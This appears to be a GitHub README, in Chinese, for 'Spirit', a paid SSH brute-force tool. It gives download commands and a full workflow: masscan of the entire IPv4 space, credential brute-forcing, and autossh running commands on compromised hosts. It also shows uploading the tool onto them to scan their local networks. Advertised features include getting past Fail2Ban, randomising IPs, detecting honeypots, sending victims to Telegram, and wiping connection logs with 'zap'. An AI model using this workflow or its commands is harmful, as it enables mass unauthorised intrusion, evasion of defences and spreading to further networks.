theaog/spirit
GitHub: theaog/spirit
一款面向网络渗透测试的自适应暴力破解工具,帮助安全人员高效发现并利用 SSH 弱凭证。
Stars: 78 | Forks: 13
# Spirit - 网络渗透测试工具
### [下载最新的 Spirit 发行版](https://github.com/theaog/spirit/tree/master/bin)
```
$ wget https://github.com/theaog/spirit/raw/refs/heads/master/bin/spirit.tgz
$ curl -OL https://github.com/theaog/spirit/raw/refs/heads/master/bin/spirit.tgz
$ tar xvf spirit.tgz
$ ./spirit autobrute --ports 22
```
## 使用区域进行自动暴力破解
```
# 创建包含 CIDR 表示法 IP 地址的 zone.lst 文件
$ cat >zone.lst<< EOF
192.168.0.0/16
172.16.0.0/12
10.0.0.0/8
EOF
# autobrute 将生成无冲突(非重复)随机端口
# 反复扫描并暴力破解——永无止境!
./spirit autobrute
```
## 本地网络演示
[](https://asciinema.org/a/645079?autoplay=true&loop=true)
## 自动升级 Spirit
```
./spirit upgrade
Upgrading 87% [========================> ] (5.9/5.9 MB, 49.652 MB/s)
```
## Spirit Brute|Banner 与其他工具对比
### Spirit Banner
- 隐蔽性强,发送最少的 TCP 数据包以获取 SSH 版本,并在不进行登录的情况下断开连接
- 恰当的连接处理与超时机制,不会留下死连接浪费文件描述符
- 快速、非常快速且准确
### Spirit Brute
- 自定义 SSH 库,支持与更多 SSH 版本、密码、算法和 MAC 进行交互
- 自动从暴力破解循环中移除不可达的主机,减少繁琐工作以提升效率
- 根据剩余主机自动调整线程数量
- 优先尝试使用密钥文件而非仅使用密码进行连接
- 检测蜜罐并停止向其发送密码
- 每个 IP 仅尝试一个密码,而非向同一主机发送所有密码以触发 Fail2Ban 或其他防护机制
- 随机化 IP 地址以避免从同一源向网络发送过多数据包
- 连接同一主机文件中的多个端口
- Autossh 可同时连接到所有易受攻击的主机
- 允许将易受攻击的主机提交至您的 Telegram 频道
- 加密密码文件,以便在不安全的系统上安全使用
- 从未来扫描中排除已发现漏洞的主机、禁止登录的主机和蜜罐:缩小搜索范围
- 生成统计信息和错误日志
## SSH 暴力破解流程示例(TLDR;)
```
# 首先扫描您的网络或互联网(查看免责声明)以获取开放端口列表。
$ masscan \
--rate="50000" \
--ports "22,222,2222,2212" 0.0.0.0/0 \
--exclude 255.255.255.255 \
-oG open.lst
Scanning 4294967295 hosts [4 ports/host]
# masscan 将在 oG(可输出为 Greppable)格式中创建 open.lst 文件。
# 解析此 open.lst 以格式化数据,使 spirit 能够理解。
$ ./spirit parse
INFO created h.lst in HOST:PORT format
# 可选:如果希望跳过某些 SSH 版本,请创建 filter.lst 文件。
# 您可以在本仓库的 `filter.lst` 文件中找到通用过滤器。
$ cat >filter.lst<< EOF
SSH-1.0
SSH-2.0-CISCO
SSH-2.0-Comware
EOF
# 抓取 SSH 横幅以确保目标版本在主机上运行。注意:会备份 h.lst 到 h.lst.bak
$ ./spirit banner
INFO backing up h.lst to h.lst.bak
SSH-2.0-OpenSSH_8.2p 13% [=> ] [11s:1m15s]
INFO created h.lst in HOST:PORT:BANNER format
head -n1 h.lst
100.100.100.100:2222:SSH-2.0-OpenSSH_6.6.1
# 添加密码列表,spirit 将自动从 p.lst 文件加载用户:密码。
# 注意:如果 p.lst 不存在,spirit 将使用内置密码文件
$ cat > p.lst << EOF
user1:pass1
user1:pass2
user2:pass50
EOF
# 开始暴力破解...
$ ./spirit brute
Spirit NPT (v1.30) upgrade by 24 Mar 24 00:00 UTC
HINT: Use `./spirit zap` to clean connection logs after you login via SSH
rlimit soft [1048576] hard [1048576]
INFO loaded b.lst with 26803 hosts
INFO loaded p.lst with 4881 logins
INFO randomized hosts
INFO block [true]
INFO timeout [5s]
INFO threads [1024]
[2478/4653]root:!1qwerty [77]found [33]blocked [1284]threads 20% [====> ] [20s:1h13m36s]
Results
|- found.ssh # Prepared SSH command
|- found.login # Successful USER:PASS combinations
|- found.lst # Syntax for autossh tool
|- found.errors # SSH connection error statistics
Hosts[26803] Bruted[4000] Blocked[19803] Found[3000]
# 如果您希望加快速度,请尝试屏蔽不良主机
./spirit brute --block=true
# 自动连接所有找到的主机并运行命令。
$ ./spirit autossh --command 'whoami && uptime'
# 上传 spirit 并扫描局域网
$ ./spirit autossh --upload ./spirit --command '/tmp/spirit scan --lan'
```
## Spirit 是 Freemium
扫描端口 22 无限期免费一小时,其他端口需要许可证,起价为每天每服务器 1 美元。
## 您可以通过在 CLI 中获取许可证来直接解锁 Spirit 的全部功能。
```
$ ./spirit buy
Payment-flow Support @ https://t.me/spiritNPT
Pricing model: $1 / Server / Day
┃ How many servers?> 1
┃ How many days?> 10
┃ Would you like 10% off using a referral code?
┃
┃ Yes No
```
# 免责声明
标签:Banner抓取, CIDR网段, DOS头擦除, Fail2Ban绕过, Honeypot检测, IP随机化, Spirit框架, SSH暴力破解, Telegram通知, 代码生成, 内存分配, 多线程扫描, 密码破解, 密钥认证, 数据统计, 日志审计, 渗透测试工具, 端口扫描, 端口碰撞避免, 网络安全, 网络渗透测试, 自动化渗透, 自动升级, 逆向工具, 隐私保护